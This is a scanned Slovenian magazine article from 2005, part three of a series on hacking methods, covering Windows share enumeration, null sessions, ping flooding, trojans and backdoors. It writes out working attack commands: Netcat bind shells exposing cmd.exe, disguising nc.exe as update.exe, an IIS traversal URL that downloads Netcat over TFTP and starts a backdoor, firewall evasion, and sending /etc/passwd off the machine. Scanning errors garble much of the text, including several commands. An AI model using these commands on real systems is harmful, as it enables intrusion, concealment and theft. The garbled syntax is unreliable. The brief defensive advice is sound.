o katerem bo ve€ povedano v nadaljevanju.

Za pridobitev podrobnih informacij o sred-
stvih v skupni rabi uporabimo ukaz:

C:\> net view /WORKGROUP:moja_delovna_skupina

Servers available in workgroup moja_delovna_skupina.

Server name Remark

\\Janez Janezov hisni racunalnik

\\Zelenjava Vegetarijanci v Netu

\\Rave Rejvamo do zore

The command completed successfully.

Z gornjim ukazom smo si pridobili seznam do-
stopnih sistemov v delovni skupini oz. domeni.
Na sistemih windows NT in 2000 boste morali
ukaz uporabiti tako, da boste namesto fworkgroup
vpisali /domain.

Naslednji ukaz nam bo razkril datoteke v skup-
ni rabi v sistemu Janez.

C:\> net view \\Janez

Shared resources at \\Janez

Sharename Type Comment

CDRW Disk

C Disk

MP3 Disk

The command completed successfully.

Janez ima o&itno v skupni rabi datoteke MP3, disk
C in CDRW-pogon. Naslednji logi¢ni korak bi bil, da
bi se na datoteke v skupni rabi poskusali povezati.
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Da bi pregledali dostopne datoteke v skupni
rabi, ne potrebujete imena domene ali imena
NetBIOS. Namesto tega lahko preprosto upo-
rabite IP-naslov v sintaksi, kot npr.

Net view\ \ 10.0.0.10. Kar pomeni, da lahko o
datotekah v skupni rabi v doloenem ratunal-
niku izveste marsikaj, ne glede na to, kje na
svetu je ta ratunalnik. Omenjeno velja sevede
le, ko tar¢a nima svojega NetBIOS-a prek vrat
TCP (NBT) zastitenega s poarnim zidom.

Zdaj, ko smo pri Janezu odkrili datoteke v
skupni rabi, si poglejmo, kako se lahko nanje po-
vezemo z ukazom ukaza net use.

C:\>net use * \\Janez\mp3
Drive E: is now connected to \\Janez\mp3
The command completed successfully.

C:\>net use * \\Janez\c

Type the password for \\Janez\c

System error 86 had occurred.

The specified network password is not correct.

Iz gornjih zgledov vidimo, da smo dobili dostop
do datotek MP3 in jih preslikali kot naslednji
dostopni disk na nafem sistemu E:, kar oznacuje
* v ukazni vrstici net use. Poskugali smo se prav
tako povezati na disk C, pri ¢emer smo naleteli
na polozaj, ko je dostop zas&iten z geslom. V tem
primeru potrebujemo geslo oz. veljavno uporab-
nigko ime in geslo. Uporabnisko ime in geslo bi
nato vnesli z ukazom v obliki:

net use fu:<uporabnisko ime><geslo>. Kot vidi-
mo, tako ne bomo prisli prav daleg, zato si po-
glejmo IPC$ (skrbniska sredstva v skupni rabi).

Kot vidimo, imajo sistemi Windows NT in
2000 »skrbniska sredstva v skupni rabi«, ki
niso tipi¢ne datoteke v skupni rabi, do katerih
bi lahko pristopali prek omre?ne sose$¢ine ali
Mojih omre?nih mest. Prav tako teh sredstev
ne moremo videti prek ukaza net view, saj so
skrita, kar nam pove znak $ na koncu imena.
Pomembno dejstvo je to, da ta sredstva ob-
stajajo, in Ce si pridobimo geslo skrbnika (ad-
ministratorja) imamo lahko do njih dostop s
klasi¢nim ukazom net use. Dodatno sredstvo
v skupni rabi je dostopno tako, da lahko skrb-
niki doloc¢ene domene posiljajo ukaze med
stre?niki. To sredstvo v skupni rabi [PC$, kar
je okrajsava za InterProcess Communicati-
ons.

Zagotovo ste pomislili, da je IPC$ zas¢iten z
moc¢nim skrbnikovim geslom, vendar temu ni
tako, saj nekateri programi zahtevajo uporabo
IPC$ brez ovetjanja. Z dostopom do IPC$ sicer
ne boste pridobili popolnega nadzora nad siste-
mom, vsekakor pa ste na dobri poti do pridobitve
novih informacij.

Za izdelavo privilegiranega kanala med va-
$im sistemom in sistemom z IP-naslovom, npr.
192.168.1.13, uporabimo naslednji ukaz:

C:\> net use \\192.168.1.13\IPC$ »« user:«»

The command completed successfully.

Tako, zdaj lahko uporabimo nekatera druga
orodja, da bi si pridobili informacije, do kate-
rih prej nismo imeli dostopa. Te informacije so
zlasti: uporabniska imena, skupine, pravilniki,
sistem $tevilke ID (SID). V nadaljevanju bomo
omenili nekatera orodja, ki so uporabna po vzpo-
stavitvi take povezave NULL na sredstvo IPC$
v skupni rabi.

Kadarkoli se poveZete na IPC$, se prepri-
Cajte, da ste temeljito podistili za seboj.
Zato za prekinitev povezave uporabite: net
use\\192.168.1.13\IPC$/delete . Ce tega
ne boste storili, bo nekdo $e vedno lahko
videl vago povezavo kot aktivno in tako z
ukazom ukaza net session ali nbtstat —s ugo-
tovil va§ [P-naslov.

Nbtstat je orodje Windows, ki tece iz dosovske
ukazne vrstice in je lahko koristno za prikaz in-
formacij o povezavah NetBIOS in tabelah imen.
Ukaz mbtstat lahko pridobi informacije, kot so
naslov MAC, ime NetBIOS, ime domene in
ime kateregakoli aktivnega uporabnika. Nbtstat
uporabljajo sistemski skrbniki, vendar pa je to
orodje, tako kot ve¢ina omre?nih orodij, lahko
uporabljena tudi za zle namene, ¢emur boste
kmalu pri¢a.

V DOS-ovo ukazno vrstico preprosto vpisemo
nbtstat in program bo sporocil nekaj mogocih
nadinov uporabe. Ce smo na lokalnem sistemu,
lahko nbtstat uporabimo za nadzor nasih lokal-
nih povezav. Na primer.

C:\>nbistat -S 2

NetBIOS Connection Table

Local Name State In/Out Remote Host Input Output
WinBox 03 Listening

WinBox Connected In 192.168.1.13 10KB 405KB
WinBox Listening

Jodo 03 Listening

Opisano nam govori, da je nekdo povezan na
enega od nasih sredstev v skupni rabi z IP- naslo-
va 192.168.1.13. Zdaj lahko spremljamo njegovo
aktivnost. Mo¢nejsa stran ukaza nbtstat je upo-
raba stikal —a in —A. Poglejmo, kaj lahko dobimo
od nasega prijatelja z naslova 192.168.1.13:

C:\>nbistat -A 192.168.1.13

NetBIOS Remote Machine Name Table
Name Type Status

MYCOMPUTER 00 UNIQUE Registered
MYDOMAIN 00 GROUP Registered
MYCOMPUTER 03 UNIQUE Registered
MYCOMPUTER 20 UNIQUE Registered
MYDOMAIN 1E GROUP Registered
MYUSER 03 UNIQUE Registered
MYDOMAIN 1D UNIQUE Registered
.. MSBROWSE__.01 GROUP Registered

MAC Address = 00-50-DA-B9-56-9F

hekerske metode (3. del)

Nbtstat nam v gornjem primeru vrne tabelo
storitev NetBIOS. ki so trenutno aktivne v do-
meni. Da bomo sposobni te informacije izkori-
stiti, pa moramo najprej nekaj malega vedeti o
NetBIOS-u . Imena na listi bomo prepoznali na
podlagi kode NetBIOS <##> in tipa. Na zalet-
ku vidimo <00> UNIQUE, kar nam pove, da v
racunalniku storitev zagnana, kot tudi, da je ime
sistema MYCOMPUTER.

Naslednja vrstica se glasi <00> GROUP, kar
nam pove delovno skupino in ime domene ki ji
sistem pripada. V tem primeru pripada sistem do-
meni MYDOMAIN.

Tretja vrstica vsebuje kodo <03>, ki jo upo-
rablja storitev za sporocila. Ce vidimo kodo
<03>, vedno preglejmo tabelo do konca, saj je ta
koda vedno v paru in nam pove ime sistema in
ime trenutno prijavljenega uporabnika (glej tudi
Sesto vrstico).

Celotna tabela NetBIOS kod bi zavzela prevec
prostora, zato si jih poglejte na naslovu: http://
jcifs.samba.org/src/docs/nbtcodes.html .

Z ukazom nbtstat smo pridobili ime domene in
uporabnisko ime. Potrebujemo samo $e geslo!

Medtem ko NetBIOS-a ne moremo usmerjati,
lahko to storimo z ukazom nbt in stikalom —A.
Nbtstat lahko uporabimo zoper katerikoli sistem,
ki je povezan v internet in dovoljuje prehod pro-
meta nbt v vrata 137, 138 in 139.

Ena od informacij, ki jih prina$a nbtstat, je
tudi strojni ethernetni ali MAC-naslov. V tem
primeru je za 192.168.1.13 MAC-naslov 00-50-
DA-B9-56-9F

Naslov MAC je dolZine 48 bitov in je pred-
stavljen z 12 heksadecimalnimi $tevili oz. 6 okte-
ti. Prvih 6 $tevil predstavlja proizvajalca omre?-
ne kartice (OUI), zadnjih 6 pa serijsko $tevilko
omreZne kartice. V naSem primeru je proizvaja-
lec 3COM (00-50-DA).

Sistemi Windows standardno delijo zgoraj opi-
sane informacije zaradi tega, ker sicer ne morejo
delovati v omreZju. Pomembno pa je dejstvo, da
sistemi prav tako ne beleZijo opisanih dostopov
v svoje varnostne datoteke. Preostane vam samo
to, da uporabite poZarne zidove in sisteme za za-
znavanje vdorov in z njihovo pomog&jo spremlja-
te tovrstni zunanji promet.

Orodje Regdmp prav tako deluje v okolju
Windows, najdemo pa ga lahko v kompletu NT
Resource Kit. To orodje omogoca prevzem klju-
Cev iz registra v standardni izhod oz. besedilno
datoteko. Ce heker pridobi dostop do ukazne
vistice v vaSem sistemu, lahko uporabi regdmp
in prevzame posebno zanimive kljuce in vred-
nosti oz. celoten sistemski register. Poleg tega je
regdmp uporaben pri preverjanju registra o pri-
sotnosti aplikacij, ki v sistemu ne bi smele biti
prisotne.

Regdmp bomo tokrat uporabili tako, da nam
povedal, kateri programi se zaZenejo v nasem
racunalniku ob zagonu. V ukazno vrstico za ta
namen vnesemo ukaz:

Regdmp ¢:\>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
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Tako se lahko prepri¢amo, da nihce ne zaga-
nja zlonamernih aplikacij, kot sta npr. Netcat ali
Netbus. Regdmp pa omogoca tudi dostop do re-
gistra z oddaljene lokacije, za kar uporabimo:

C:\>regdmp -m \\192.168.1.13

Prav tako je regdmp uporaben za preiskovalce
racunalniske kriminala, pri ¢emer jih v registru
zanimajo predvsem naslednje informacije:
mesta, s katerih so bile v zadnjem ¢asu
vzpostavljene povezave na napadeni sistem,
zadnji uporabljeni dokumenti v sistemu,
programi, ki se zaganjajo ob zagonu
operacijskega sistema.

\

\

\

Ping je naslednje v vrsti najosnovne;jsih dia-
gnosti¢nih orodij, katerega namen je ta, da po-
Slje zahtevo ICMP echo in nato ¢aka na odgo-
vor. Ping se uporablja za preverjanje omreZne
povezanosti, uporaben pa je tudi za nekatere
druge namene, kot boste videli v nadaljevanju.
V izvedbi pinga obstaja nekaj razlik med sistemi
Windows in Unix. V ve&ini sistemov Unix ping
nadaljuje »pinganje« tarce, dokler ga ne preki-
nete s kombinacijo CTRL-C. Na drugi strani je
treba v sistemu Windows uporabiti sintakso ping
—t, &e Zelimo, da se ping nadaljuje v neskon¢nost,
dokler procesa ne zaklju¢imo.

Nedvomno ste o tej tehniki Ze marsikaj sliali,
bistvo problema pa je v tem, da napadalec po-
Slje tari paket ping, vedji od 65.536 bajtov.
Medtem ko IP (Internet Protokol) ne podpira
datagramov, ve&jih od 65536 bajtov, je mogoce
s fragmentacijo to velikost prese&i in tako izvesti
tipicen napad za zavrnitev storitve (DoS). Ve-
lika vecina sistemskih orodij ping ne omogoca
potiljanja prevelikih paketov, medtem ko neka-
teri operacijski sistemi tovrstne pakete prepros-
to ignorirajo. Za druge sisteme je edina reSitev
uporaba filtrov in pozamih zidov v zunanjih de-
lih omreZja, ki blokirajo vse prihajajoc¢e pakete
ICMP oz. vsaj pakete ICMP dolocene velikosti.
Vet o tovrstnih napadih in zlorabah ste si lahko
prebrali v prejsnji Stevilki Mojega mikra.

Zgled uporabe:

C:\ping.exe 192.168.2.1 -1 65500 -n 10000

Gornji ukaz poslje 10.000 paketov dolzine 64
KB na IP-naslov 192.168.2.1. Z malce matema-
tike nam hitro postane jasno, da to pomeni 655
megabajtov podatkov. Omenjeni ukaz ne generi-
ra podatkovnega toka visoke hitrosti, saj orodje
ping pocaka, da sprejemna stran potrdi prejem
prej¥njega paketa. Premislite, kaj se zgodi, ko
opisano metodo uporabi ve¢ razli¢nih sistemov
hkrati ... Odgovor je: napad DDoS.

Utinkovitost tovrstnih napadov potrjuje dogo-
dek, ko je 13-letniku z uporabo podobnih metod
uspelo spraviti na kolena omre%je grc.net. Vet o
tem si lahko preberete na http://grc.com/dos/ .

Orodje traceroute sledi poti, po kateri potuje-
jo IP-paketi od izvora do cilja. Traceroute po-
Slje [P-paket (ICMP ali UDP) na cilj, pri cemer
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nastavi polje TTL (time-to-live) na vrednost
1. Paket zaradi tega »umre« pri prvem skoku
(v usmerjevalniku) in usmerjevalnik nas o tem
obvesti s sporo¢ilom ICMP. Traceroute nato po-
Slje Se en paket, pri ¢emer je TTL nastavljen na
vrednost 2. Traceroute nato ponavljajo¢ opisani
postopek ugotovi, kateri usmerjevalniki so med
nasim in ciljnim sistemom. Orodje je uporabno
za diagnosticiranje omreznih te¥av kakor tudi za
pridobitev informacij o lokaciji sistema.

Obstaja vrsta grafi¢nih programov za poeno-
stavljeno ugotavljanje lokacije sistemov, pri Ce-
mer bi izpostavil: gtrace za Unix, ki ga najdete
na spletnem naslovu www.caida.org/tools/visua-
lization/gtrace/ in VisualRoute za Windows, ki
ga najdete na www.visualware.com .

Trojanski konj je neavtorizirana koda, pri-
kljucena legitimnemu programu, ki izvaja ne-
poznane in za uporabnika neZelene operacije.

V tem delu opisujemo poloZaj, v kateri je na-
padalec %e pridobil dostop do sistema. Kaj zdaj?
Napadalec po vsem trudu, ki ga je vlozil v dostop
do sistema, poskusa tega ohraniti in ga v bodoce
napraviti predvsem enostavnejiega. Ta ¢lanek
govori o orodjih in tehnikah, ki jih hekerji upo-
rabljajo za ohranjanje dostopa in prikrivanje
sledov vdora.

Na splosno bi lahko trojanskega konja opre-
delili kot program, ki opravlja poleg temeljnih
Se skrite in za uporabnika neZelene funkcije. Pro-
grametji ustvarjajo trojanske programe s slabimi
nameni, saj ob pisanju programske kode avtor
natanéno ve, kaj po¢ne in kakine namene ima
§ sVOjim programom.

Navadno so cilji avtorjev trojanskih konjev
naslednji:

- izvajanje funkcij, ki bodo razkrile vitalne
informacije o napadenem sistemu oziroma
omogocile vdor v sistem;

- prikritje v prejnji tocki opisanih funkcij;

Nekateri trojanski programi bodo naredili
oboje, obstaja pa tudi vrsta, ki v bistvu povzrodi
$kodo v taréinem sistemu (Sifrira podatke na tr-
dem disku ali pa disk formatira).

Kot nam %e samo ime pove, gre za orodja s ka-
terimi si napadalec omogoci dostop do sistema z
alternativno dostopno toc¢ko. Obicajni uporab-
niki vstopajo v sisteme skozi prednja vrata v ob-
liki prijavnih oken, v katera vnagajo uporabniska
imena in gesla ali uporabijo kak$no drugo meto-
do overjanja.

Hekerji uporabljajo orodja za vdiranje skozi
stranska vrata (backdoor), da bi obgli obi¢ajno
sistemsko varnost prednjih vrat. Ko hekerju uspe
namestiti stranska vrata, lahko dostopa v sistem
brez vnasanja gesel oz. uporabe varnih povezav
(SSL ipd.). Skrbnik kompromitiranega sistema
lahko dodaja nove oblike najnove;jsih varnost-
nih nadzornih elementov za vsakega uporabni-
ka sistema, vendar lahko heker kljub temu prek
name$¢enih stranskih vrat vstopa v sistem pod
svojimi pogoji, ne pa tistimi, ki jih je na novo

dolo¢il skrbnik.

Po pridobitvi dostopa v sistem in namestitvi
zadnjih vrat se posku$ajo hekerji prepricati,
da v sistem, ki so si ga pravkar prilastili,
nima dostopa e kdo drug iz njihovih vrst.
To ponejo iz varnostnih razlogov, saj bi
lahko drug heker napravil kak$no napako,
na podlagi katere bi pozneje ujeli oba. V he-
kerskem podzemlju in njihovem Zargonu se
namre¢ pojmuje sistem, v katerega je heker
uspesno vdrl, kot njegova last (owned by
attacker). Racun za racunalnik je %e lahko
izdan na ime vaSega podjetja in tudi racu-
nalnik lahko po¢iva na vasi mizi, pa je kljub
temu last hekerja, ki lahko po svoji volji
names¢a programsko opremo in spreminja
nastavitve. Tako je prva stvar, ki jo heker
v novem sistemu postori, to, da zakrpa vse
varnostne luknje, vklju¢no s tisto, skozi
katero je vstopil v sistem, nato pa namesti
stranska vrata. [roni¢no je predvsem to, da
zdaj heker opravlja dejanja, ki bi jih moral
Ye pred vdorom opraviti sistemski skrbnik
oz. pravi lastnik sistema.

Najpogosteje smo pri vdorih hekerjev pri¢a
trojanskim programom, ki se ravno ne odlikujejo
po programerskih sposobnostih stvaritelja. Tako
pogosto naletimo na enostavne datoteke .BAT
oz. tako imenovane paketne datoteke (batch
files), ki so navadni dosovski ukazi, napisani v
urejevalniku besedil in shranjeni pod konénico
.BAT. Tak$na datoteka nam lahko, ¢e jo ne-
premisljeno aktiviramo, kaj hitro formatira trdi
disk, spremeni imena pomembnih datotek ipd.
Se en razlog veg, da odpiranje datotek, ki smo ji
dobili od vprasljivih ali neznanih pogiljateljev, ni
preved zdravo poletje.

Povsem druga vrsta pa so programerii, ki sode-
lujejo pri programiranju komercialne program-
ske opreme. Tako imenovani insiderji vstavljajo
svojo neavtorizirano kodo v razli¢ne programe in
celo operacijske sisteme. Ti posegi pa nas lahko
resni¢no zaskrbijo, kajti:

- to so najpogosteje trojanski programi, ki zbi-
rajo informacije in nimajo destruktivnega u¢inka
na sam sistem, zaradi &esar jih je tezko odkriti;

- v primerjavi z drugimi trojanskimi programi
je ta vrsta nevarnejsa tudi zato, ker zajame veliko
vedji obseg sistemov, vse od vladnih do razisko-
valnih itn.

Dejstvo je, da se trojanski konji lahko pojavijo
v kateremkoli programu in operacijskem siste-
mu, zato je za uporabnika pomembno, da je pri
uporabi programske opreme zelo previden (do-
sledna uporaba poZarnih zidov in protivirusne
zas&ite, predvsem pa »skrivnega oro¥ja« — zdrave
&loveske pameti).

Véasih zasledimo primere, ko posamezen na-
padalec zavaruje stranski vhod v tarcin sistem
bolj, kot pa je zavarovan standardni sistemski
vstop. Na primer, medtem ko sistem od uporab-
nikov zahteva uporabnisko ime in geslo, napa-
dalec uporabi mo¢nej$o kriptografsko zas¢iteno
metodo overjanja. Napadalec lahko v ta namen
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uporabi SSH (Secure Shell), pri tem pa SSH ne
uporabi tako, da ta uporablja standardna TCP-
vrata 22. Tak$no pocetje bi skrbnik sistema hitro
opazil. Zato napadalci nastavijo SSH tako, da ta
poslusa pri drugih vratih in za overjanje uporab-
lja napadaléev kljug, pa tudi Sifriranje povezave.

Kot ste uvodoma videli, imamo na voljo
ogromno hekerskih orodij, s katerih lahko pove-
&amo omre?no varnost. Ve¢inoma se vsako orod-
je osredototi na oseben cilj, pri ¢emer nekateri
zbirajo informacije o omre?ju in domenah, med-
tem ko drugi izrabljajo posamezne varnostne po-
manjkljivosti. Najbolj$a in najkoristneja izmed
vseh pa so orodja, ki so ve¢namenska in priro¢na
za uporabo v razli¢nih scenarijih. Med slednje
prav gotovo sodita Netcat in Cryptcat.

Poenostavljeno povedano, Netcat ustvarja in
sprejema povezave TCP (Transmission Control
Protocol) in UDP (User Datagram Protocol).
Netcat nam omogoca, da vidimo ¢&iste podatke
TCP in UDP, preden so ti vstavljeni v nasled-
nji nivo, kot so npr. FTP (File Transfer Proto-
col), SMTP (Simple Mail Transfer Protocol) ali
HTTP (Hypertext Transfer Protocol).

Tehni¢no gledano Netcat ne ustvarja po-
vezav UDP, ker je UDP nepovezovalni pro-
tokol.V tem ¢lanku bomo ob omembi po-
vezave UDP v zvezi z Netcatom mislili na
uporabo Netcata v na¢inu UDP za zacetek
posiljanja podatkov storitvi UDP, ki deluje
v sprejemnem delu.

Netcat nima grafi¢nega vmesnika in ne podaja
rezultatov v o¢em prijazni obliki. Je grob, enosta-
ven in deluje na osnovni ravni, zato je uporaben
v raznovrstnih okolis¢inah. Netcat za osnove
Unix in Windows najdemo na spletnem naslo-
vu: www.atstake.com/research/tools/.

Osnovni ukaz Netcat je: nc <opcije> IP vrata
(razlicne mo¥nosti si oglejte v programovi dato-
teki readme).

Si Zelite dostop do ukazne vrstice svojega do-
macega racunalnika od koderkoli na svetu? Z
izvriitvijo ukaza nc.exe - —p 4455 —e cmd.exe
iz ukazne vrstice sistema Windows boste lahko
prek povezave telnet v vrata 4455 pridobili do-
stop do ukazne vrstice svojega domadega racu-
nalnika. V bistvu ste pravkar ustvarili stranska
vrata v svoj sistem, kar je lahko v nepravih rokah
zelo nevarno.

Pa si poglejmo zgoraj navedeni ukaz $e od
blizu. Vedite, da bo Netcat deloval znotraj do-
sovskega okna, kar pomeni da mora biti to od-
prto, dokler Netcat deluje (zadnja vrata so v tem
primeru vidna tudi nepoucenim). Zdaj bomo
uporabili stikalo —d, s ¢&imer bomo Netcat lo¢ili
od klasi¢nega dosovskega okna. Tako bo lahko
Netcat deloval, &eprav bomo to okno zaprli. Raz-
licica tega ukaza je C:\nc.exe -L —p 4455 —d —e
cmd.exe (v tem ukazu je uporabljen veliki L, kar

Netcatu naroci, naj poslusa mocneje in naj po
vzpostavljeni in prekinjeni povezavi nadaljuje
poslusanje na vratih 4455).

Navedeno hekerju omogoca vstop v sistem,
vse dokler skrbnik ne opazi, da je med procesi
prisoten tudi nc.exe. Heker lahko od usposoblje-
nega skrbnika to pri¢akuje, zato nc.exe preime-
nuje v kaj drugega (npr. update.exe) z ukazom:

C:\move nc.exe c:\Windows\System32\drivers\update.exe

C:\Windows\System32\Drivers\update.exe -p 4455
-d-L -ecmd.exe

Zgled uporabe izkorid¢evalskega (exploite)
skripta v kombinaciji z Netcatom je uporaba
protokola TFTP (Trivial File Transfer Protocol),
name$tenega v spletnem strezniku, s pomo&jo
katerega bomo iz oddaljenega sistema, v katerem
smo prej zagnali strefnik TFTP, prenesli nc.exe
in v napadenem spletnem stre?niku pognali eno
izmed razli¢ic stranskih vrat.

Pa si poglejmo URL, s katerega bomo prek
protokola TFTP prevzeli Netcat z oddaljene lo-
kacije, pri ¢emer nam bo v pomo¢ tudi Unicodo-
va varnostna pomanjkljivost:

http://10.10.0.1/scripts/../%c1%pc/../winnt/syste-
m32/cmd.exe?/c+tftp%20i%200riginx&20GET%20up-
date.exe

Ce je zgomnji poskus uspesen, bo ukaz prenesel
Netcat na IP 10.10.0.1 v podimenik Inetpub ime-
nika Scripts kot update.exe. Heker lahko nato za-
7ene Netcat z uporabo naslednjega URL-ja:

http://10.10.0.1/scripts/../%c1/pc/../inetpub/scripts/
update.exe?-1%20-d%20-L%20-p%20443%20-e%2-
Ocmd.exe

Spletni stre?nik tolmadi %20 kot presledek! S
povezavo telnet v vrata 443 bi nas morala pri-
Cakati dosovska ukazna vrstica. Opisani napad je
u¢inkovit in enostaven, a za seboj pus¢a nepo-
trebne sledi. Predvsem bodo vsi URL-ji, ki so bili
uporabljeni v napadu, shranjeni v varnostnih
datotekah spletnega strefnika (IIS), prav tako
pa bodo opisani napad zaznali tudi morebitni
sistemi IDS (intrusion detection system) za za-
znavanje vdorov.

Napad lahko prepreéite tako, da:

- posodobite IIS,

- blokirate odhajajoce povezave s svojega

spletnega streznika v pozarnem zidu.
V vedini primerov vas streznik ne bi smel
vzpostavljati povezav navzven.

Netcat med drugim ponuja stikalo —s, ki nam
omogoca, da si dodelimo katerikoli IP- naslov.
To je uporabno, kadar bi radi z Netcatovim ske-
niranjem prestrasili prijatelja. Zadeva je prepro-
sta, saj zahteva samo to, da skeniramo prijateljev
racunalnik z Netcatom pri ¢emer si pomagamo
s stikalom —s, ki nam omogoca, da zavzamemo
npr. [P-naslov FBI-ja ali Microsofta. Prijatelj bo
mislil, da ga pregledujeta FBI ali Microsoft in za-
gnal preplah.

Netcat, ki poslusa na dolocenih vratih, je lah-
ko uporaben tudi za vzpostavitev povezave v drug
sistem, s ¢imer dobimo rele. Uporaba tega na¢ina
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zahteva poznavanje skriptov predvsem zato, ker
Netcatova moznost —e sprejema samo en ukaz.
Zanimiv je poloZaj, ko heker z opisanim na¢inom
premosti nekaj razlicnih domen in s tem zelo ote-
%i delo preiskovalcem pri izsleditvi resni¢nega iz-
vora. Ta nadin je znan kot verizenje namestniskih
strefnikov (chaining proxy servers).

Netcat je uporaben tudi v funkciji, ki laZzno
prikazuje nedovoljen promet kot dovoljen, kar
omogoti komunikacijo prek poZarnega zidu ali
filtra. Nekateri poZarni zidovi omogocajo pri-
hajajoc¢i promet od izvirnih vrat 20 k visokim
ciljnim vratom v krajevnem omre%ju zato, da bi
se omogodili uporabo FTP-ja. To lahko izkoristi-
mo z ukazom: nc —p 20 imetarée 6000, kar nam
omogoci pristop do X Serverja na Unixovem si-
stemu. Opisana metoda pa ni uporabna samo za
dostop do vrat 6000, temve& do vseh vrat, ve&jih
od 1024, s katerimi lahko komuniciramo, priha-
jajo€ z izvornih vrat 20.

Za DNS veljajo podobni prijemi, saj skoraj vsi
porarni zidovi dovoljujejo odhajajoci DNS. Ce
ste za pozarnim zidom (podjetje, univerza ...), ki
dovoljuje prihajajo¢i in odhajajoci promet v vra-
tih 53 (DNS), potem lahko izkoristite prilofnost
in spravite nedovoljeni omreZni promet skozi po-
7arni zid tako, da mu dologite izvorna vrata 53.
To naredimo tako, da za poZarnim zidom poZene-
mo Netcat: nc —p 53 imetarce 9898.

Heker lahko izkoristi Netcat za prenos dato-
tek iz sistema brez vsakr$nih sledov v varnostnih
datotekah.

Nc -1 -u -p 12345 < /etc/passwd

Z gornjim ukazom lahko heker ob povezavi v
vrata UDP 12345 prenese datoteko [etc/passwd.

Skratka, Netcat je uporaben na 1001 nacin,
pri ¢emer ga s pridom uporabljajo tako sistemski
skrbniki za testiranje svojega omre¥ja kakor na
drugi strani tudi hekerji. V povezavi z Netcatom
bi omenil tudi Cryptcat, ki je v bistvu Netcat z
moznostjo Sifriranega prenosa podatkov.

Sifrirani prenos podatkov lahko naredi omres-
nim skrbnikom veliko sivih las, saj samo s prislu-
Skovanjem povezavam ne bi dobili veliko upo-
rabnih podatkov o namerah hekerja. Cryptcat
lahko prevzamete na naslovu: http://farm9.com.

NetCatovo programsko ime je sicer NC,
vendar to ne pomeni, da ga napadalec ne
more preimenovati v ime, podobno drugim
sistemskim procesom.

Nekateri se sprasujejo: Zakaj sploh namescati
zadnja vrata, ko pa ima napadalec %e tako ali
tako dostop do sistema? Obicajno napadalec
namesti stranska vrata, da si zagotovi dostop tudi
pri spremembah sistema oz. brisanju uporabni-
kov, ki imajo trenutno legitimen dostop.

Kaj pa, ¢e varnostno osveséeni skrbnik one-
mogo¢i dostop do Telneta v strezniku? Dobro na-

MOJ MIKRO 1 JANUAR 2005 14




Ik\; Al

hekerske metode (3. del)

stavljena stranska vrata bodo ostala uporabna, saj
stranska vrata kljub temu opravljajo svojo nalogo.
Tako, opisali smo osnovne nacine kako napa-
dalec namesti stranska vrata v sistem, zdaj pa si
poglejmo tipi¢no uporabo trojanskih konjev.

Trojanski konj Back Orifice 2000' je izvrsten
zgled, da se nau¢imo ubraniti tudi pred njemu
podobnimi orodji iz te zvrsti. Back Orifice 2000
(BOZK) je ustvaril heker z vzdevkom Dil-Dog,
ki je ¢lan zloglasne skupine Cult of the Dead
Cow. BO2K je bil spros¢en v uporabo na konfe-
renci DefCon 7, leta 1999 v Las Vegasu. Predsta-
vitev tega hekerskega pripomocka je potekala ob
spremljavi tehno glasbe in ob govoru »hekerske-
ga pridigarja«, kar je naredilo vse skupaj $e bolj
medijsko odmevno. BOZK je prilagojen za delo-
vanje v vseh sistemih Windows in je odprtoko-
den, prav tako pa nam je na voljo razpravljavska
skupina. v kateri se zmo?nosti programa razvijajo
naprej. BOZK se je do danes razvil v ogromno
razli¢ic in mutacij, ki so vse obdarjene z razli¢ni-
mi funkcijami.

BO2K strezniska koda (del, ki okuZi taréin si-
stem) je namre¢ napisana tako, da zavzame samo
100 KB, kar je presenetljivo, ko pogledamo vse
mogoce funkcije tega orodja. Odjemalec, s kate-
rim nadziramo napadeni sistem, pa zavzema okrog
500 kilobajtov, kar pomeni, da celoten paket zelo
enostavno spravimo na eno samo disketo.

Ko je streznik names¢en v Zrtvinem sistem,
napadalcu omogod&i popoln nadzor, kar med dru-
gim pomeni:

- ustvarjanje poljubnih opozorilnih oken
na #rtvinem sistemu (ni¢ posebnega, se
vam morda zdi, vendar pa je dejstvo, da bo
vetina uporabnikov naredila natanko, to
kar jim sporo¢i racunalnik),
spremljanje pritisnjenih tipk (omogoca
napadalcu, da odkrije Se tako zapletena
gesla),
odkrivanje natanénih informacij o sistemu
(OS, RAM, HDD, varnostni popravki ipd.),
zbiranje gesel (zbere in poslje vse datoteke z
gesli v dolo¢enem sistemu),
obi¢ajno delo z datotekami (vpogled,
kopiranje, brisanje, preimenovanje ...),
spreminjanje registra,
upravljanje procesov,
preusmerjanje paketov (vsak paket, ki
je namenjen Zrtvi, se lahko preusmeri v
poljuben sistem)
preusmerjanje programov (omogoca
dostop napadalca do ukazne vrstice
podobno kot NetCat)
multimedijski nadzor (napadalec lahko
vidi Zrtvin zaslon in nadzira druge vhodno-
izhodne enote)

- HTTP-streznik (napadalec ima dostop

do #rtvinega sistema tudi brez odjemalca

BO2K, pri ¢emer lahko uporabi navaden

internetni brskalnik).

'Program je sestavila skupina, ki se imenuje Cult of the Dead Cow, sam
program in njegov podrobnejsi opis pa najdete na spletnem naslovu:
http://www.cultdeadcow.com/toools/bo.html

\

\

\

\

\

\

\

\

\

42 MOJ MIKRO 1 JANUAR 2005

Z opisanimi sposobnostmi je BO2K (kakor
tudi njemu podobni Sub7, Net-Bus, Hack-a-
Tack ipd.) izjemno podoben drugim legitim-
nim programom za oddaljeni dostop, kot so
pcAnywhere, ControllT ali LapLink. V bistvu
BO2K potne natanko iste stvari kot omenjeni
programi. Na spletni strani BO2K www.boZk.
com najdemo primerjavo med BO2K in drugimi
orodji za oddaljeni dostop, pri ¢emer je BO2K
bogatejsi z moznostmi, brezplacen in odprtoko-
den. Prav zaradi tega je BO2K oglagevan kot
orodje sistemskih skrbnikov, ki pa ga je mogoce
kot vsako drugo orodje tudi zlorabiti. Zanimiva
je primerjava s kladivom, ki ga lahko uporabimo
za gradnjo hiSe, na drugi strani pa je lahko upo-
rabno tudi kot morilsko orodje. Pridemo do skle-
pa, da orodja sama po sebi niso nevarna, temved
so nevarni ljudje, ki jih uporabljajo.

Ce BO2K za¥enemo v skritem nacinu delo-
vanja, ga med procesi ne bomo opazili. Prav tako
ima BO2K mo?nost $ifriranja komunikacije med
tar¢o in napadalcem, pri emer uporablja razli¢-
ne Sifrirne algoritme, od DES-a do CAST-a. Za
poenostavljeno uporabo ima BO2K namestitve-
nega ¢arovnika, ki nas vodi prek vseh namestit-
venih moznosti. Novejse razli¢ice lahko uporab-
ljajo katerakoli vrata TCP ali UDP, kar je $e ena
